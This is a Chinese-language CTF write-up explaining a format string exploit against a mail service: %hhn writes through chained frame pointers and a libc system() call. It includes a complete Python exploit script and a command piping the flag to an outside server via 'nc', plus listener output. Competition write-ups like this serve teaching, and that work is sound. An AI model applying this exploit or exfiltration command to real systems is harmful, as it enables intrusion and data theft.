about 4 years ago

ELF32, 我們在印出 mail 內容的 sub_8048d73() 中找到了一個 format string 漏洞:

int sub_8048D73(int fd, int a2){
    //...
    print(fd, "To: %s\n", *(&ptr + a2));
    print(fd, "Subject: %s\n", v3 + 32);
    print(fd, (const char *)(v3 + 96)); // 信件內容
    print(fd, "\n---------\n");
    //...
}

int print(int fd, const char *format, ...){
    void *v2; // ST1C_4@1
    int v3; // ST18_4@1
    ssize_t v4; // ST14_4@1
    va_list va; // [sp+38h] [bp+10h]@1

    va_start(va, format);
    v2 = malloc(size);
    v3 = vsnprintf((char *)v2, size, format, va);
    v4 = write(fd, v2, v3);
    free(v2);
    return v4;
}

好勒所以我們有一個 format string 漏洞,只是這個字串本身是在 heap 上,用 %n 做寫入時需要在 stack 上指定位址,這裡我們沒辦法直接將要寫的位址放在字串上。經過一番苦思,我們注意到了每個 stack frame 的 bp(A) 總是會指向前一層 stack frame bp(B) 的所在位址。利用 A 的值,%hhn 可以對 B 的最低位寫入,這樣 B 的值可以在一定範圍內浮動。我們接著再利用 B,%hhn 就可以對這個範圍內的任意位址寫入了。

printf("%130c%21%hhn"); // A @ 21$, 
printf("%76c%33%hhn");  // B @ 33$ (0x7fbb50a0 -> 0x7fbb5082,再對 0x7fbb5082 寫入 76)

另外,此題 stack 不可執行,但用 format string 印出 stack 內容後,可以找出 main() 返回進 libc.so 裡的位置。由於這題是以 fork() 方式來運作的 service,因此位址不會改變,再利用提示給的 libc.so 檔就可以找出 system() 的正確位址。但不能直接 system('/bin/sh') 因為這樣輸出是看不到的,我們用 system('cat flag | nc our.server 13387') 來送出 flag。完整代碼如下:

import socket
import struct
import sys

st = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
st.connect(('218.2.197.244',2337))

def S(x):
    st.send(x+'\n')

def W(x,Show=True):
    while True:
        s = st.recv(4096)
        if Show:
            sys.stdout.write(s)
        if x in s:
            return s

W('Exit',False)

def FA(x,pad=True):
    S('1')
    S('.TO')
    S('.SUB')
    if pad:
        S('[<({'+x+'})>]')
    else:
        S(x)
    W('Exit',False)
    S('3')
    S('1')
    s = W('Exit',False)
    if pad:
        s = s[s.find('[<({')+4:s.find('})>]')]
    S('4')
    S('1')
    W('Exit',False)
    return s

system = 0x3ea70-0x19993+0xf7489993
print 'system @ %08x'%system
print FA('%33$x'),FA('%34$x')

def WS(x,offset):
    FA('%%%dc%%21$hhn'%(0x68+offset)) # write 33 (ffb28d68)
    if ord(x)!=0:
        FA('%%%dc%%33$hhn'%ord(x),pad=False) #write ffb28d6c+offset
    else:
        FA('%33$hhn',pad=False)

WS('\x70',0)
WS('\xea',1)
WS('\x4a',2)
WS('\xf7',3)
WS('\x78',8)
WS('\x8d',9)
WS('\xb2',10)
WS('\xff',11)

print '# sending cmd'
cmd = 'cat flag | nc our.server 13387; '
for i in range(len(cmd)):
    WS(cmd[i],i+12)

print 'return to: '+FA('%34$x')
print 'arg1 = '+FA('%36$s')
S('5')

raw_input()
$nc -vlp 13387
listening on [any] 13387 ...
218.2.197.244: inverse host lookup failed: Unknown host
connect to [our.server] from (UNKNOWN) [218.2.197.244] 49763
BCTF{x14ng-fl4g-sh3m_m4_d3_zu1;m4;f4n;l3}
 sent 0, rcvd 42
← BCTF 身无分文 Writeup BCTF 誘補陷阱 Writeup →